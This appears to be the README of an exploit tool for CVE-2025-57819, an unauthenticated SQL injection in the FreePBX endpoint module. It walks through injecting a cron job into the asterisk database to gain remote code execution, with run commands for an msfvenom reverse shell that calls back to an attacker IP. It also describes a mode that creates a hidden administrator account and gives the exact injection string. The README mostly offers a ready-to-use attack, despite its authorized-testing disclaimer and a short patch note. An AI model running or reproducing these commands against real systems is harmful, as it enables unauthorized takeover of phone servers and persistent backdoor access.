
FreePBX Pre-Auth SQLi to RCE (CVE-2025-57819) — All-in-One Exploit
An all-in-one exploit for CVE-2025-57819, an unauthenticated SQL injection in FreePBX's endpoint module that leads to remote code execution via cron job injection.
FreePBX exposes the admin/ajax.php?module=FreePBX\modules\endpoint\ajax endpoint
without requiring authentication (CWE-288). The brand parameter is passed directly
into SQL queries without sanitization (CWE-89), allowing an attacker to inject arbitrary
SQL statements into the asterisk database.
[Unauthenticated HTTP request]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
│
▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
│
▼
Remote Code Execution
This exploit supports three modes:
linux/x64/shell_reverse_tcp binary via msfvenompython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
Example:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
This uses port 4452 for the reverse shell and 4453 for the HTTP stage server.
--create-user)Creates a new FreePBX administrator account via SQLi. No reverse shell, no reachback, no binaries required.
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)Use your own ELF binary instead of generating one with msfvenom.
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests library (pip install requests)msfvenom) or a custom payload with --payload--create-user mode: Nothing beyond Python + requestsThe vulnerable endpoint is:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
The brand parameter is concatenated into a SQL INSERT without sanitization.
The exploit crafts the injection as:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
The trailing -- comments out the remainder of the original query.
FreePBX uses the Asterisk cron subsystem. Cron jobs are checked every minute.
When the inserted job's schedule (* * * * *) matches, the command runs as the
asterisk system user.
After the session ends (or on timeout), the exploit sends a DELETE SQLi to remove
the injected cron job from cron_jobs.
asterisk.cron_jobs with random module/job namesasterisk userampusers (if --create-user mode)Update the endpoint module to patched versions:
This software is provided for educational and authorized security testing purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author is not responsible for any misuse.